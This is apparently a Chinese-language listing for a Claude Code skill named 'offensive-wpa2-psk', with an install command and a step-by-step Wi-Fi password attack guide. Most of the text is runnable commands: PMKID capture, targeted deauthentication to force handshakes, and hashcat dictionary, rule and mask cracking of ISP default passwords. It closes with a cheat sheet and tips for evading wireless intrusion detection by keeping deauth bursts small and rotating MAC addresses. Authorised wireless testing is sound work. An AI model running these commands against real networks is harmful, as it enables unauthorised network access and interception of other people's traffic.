关于 offensive-wpa2-psk
面向无线安全测试人员的 WPA/WPA2-PSK 测试指南,说明如何捕获 PMKID 或四次握手、转换为可破解格式并离线验证密码,也涵盖检测信号。
主要功能
- 01优先尝试 PMKID 捕获
- 02捕获并验证四次握手
- 03转换为 hashcat 格式并离线破解
- 04使用字典、规则和掩码测试
- 05说明检测信号与降低噪声的方法
适用场景
- 01在授权评估中检查 Wi-Fi PSK 强度
- 02对目标接入点捕获并验证握手材料
- 03使用字典或掩码离线测试候选密码
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wpa2-psk安装后在 Claude Code 中输入/offensive-wpa2-psk确认已加载。
详细介绍
WPA/WPA2-PSK 攻击
几乎所有消费级和 SMB Wi-Fi 网络的默认模式。四次握手中的 PMKID 和 EAPOL 帧包含离线破解所需的一切信息——无需在线尝试、不会触发锁定,也不会留下检测信号,除了可以通过 PMKID 避开的解除认证操作。
快速工作流
- 确认目标 BSSID、信道和加密方式(参见
offensive-wifi-recon) - 首先尝试 PMKID(速度快,无需与客户端交互)
- 如果未获取到 PMKID,则改为捕获四次握手
- 将捕获内容转换为 hashcat 兼容格式
- 使用合适的字典 + 规则 + 掩码进行离线破解
PMKID 攻击(可能时优先采用)
PMKID 包含在四次握手的第一条消息中。许多 AP 会在收到单个关联请求后泄露 PMKID——无需真实客户端。
# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 \
--filterlist_ap=targets.txt --filtermode=2
# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt 包含你获准攻击的 BSSID(每行一个)。
如果 hash.hc22000 为空,说明 AP 不会泄露 PMKID。请改用四次握手。
捕获四次握手
# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
如果有客户端已关联:
# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
airodump 右上角会显示握手,格式为 WPA handshake: AA:BB:CC:DD:EE:FF。
**为什么一次只针对一个客户端:**广播解除认证(不带 -c)很容易触发 WIDS,也更容易被发现。针对单个 MAC 发送一轮 5 次解除认证就足够了。
验证捕获内容
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
如果工具报告 M1/M2 配对,但没有正确的 EAPOL 身份验证,请重新捕获。错误或不完整的握手将无法破解。
破解
字典 + 规则
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
实用字典:
rockyou.txt(经典字典)weakpass_3/weakpass_4(大型泄露数据集)crackstation.txt- 定向字典:公司名称、产品、地点
常见默认模式的掩码攻击
# 10 digits (common ISP default — UPC, Vodafone, etc.)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# 8 digits (D-Link, ZTE)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 hex (some Belkin / Linksys)
hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
# Phone number patterns
hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
厂商默认值生成器
一些 ISP 路由器会使用已知算法,根据 SSID 前缀 + 序列号后缀生成 PSK:
# UPC-XXXXXXX → upc_keys generates candidate keys
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
# Check vendor-specific tools per router brand
802.11r FT 破解
如果启用了 802.11r(快速切换),则可在有线侧捕获 AP 到 AP 的密钥传输,也可在漫游事件期间通过无线信号看到该传输。PMK 派生提供了另一种破解途径,使用相同的 hc22000 格式。
调整破解性能
# Show recommended workload tuning per GPU
hashcat -b -m 22000
# Distributed cracking via hashtopolis or naive split
hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
机会性密钥缓存(OKC)
启用 OKC 时(WPA2-Enterprise 中也很常见),AP 会缓存之前成功关联时的 PMK,并在漫游时重复使用,从而绕过完整握手。从攻击者的角度来看,OKC 握手中仍包含相同的可恢复 PMK 材料;主要影响是无线信号中可见的 M1/M2 配对会更少。
检测注意事项
| 信号 | 防御方视角 |
|---|---|
| 解除认证突发 | WIDS 规则:每秒解除认证次数超过 N,且原因代码格式错误 |
| PMKID 洪泛(hcxdumptool 默认会发送许多关联请求) | WIDS 规则:单个 MAC 发起快速连续的关联 |
| 监控模式接口 | 某些企业级 WIDS 部署会对附近的监控无线电设备进行指纹识别 |
尽量降低影响:使用 --filtermode=2 进行 PMKID 攻击(仅针对授权列表中的目标),每次只发送一轮定向解除认证,并在不同捕获之间随机更换源 MAC。
渗透测试速查表
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. PMKID sweep first
echo "AA:BB:CC:DD:EE:FF" > targets.txt
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
# 3. Convert + try crack
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 4. If empty PMKID, do four-way capture
sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon
# 5. Convert + crack
hcxpcapngtool -o hash.hc22000 cap-01.cap
hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule
# 6. Mask attacks if dictionary fails
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
关键参考资料
- hashcat 文档(模式 22000):hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- hcxtools:github.com/ZerBea/hcxtools
- ZerBea PMKID 研究(2018 年首次披露)
- 802.11i-2004(WPA2 规范)
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md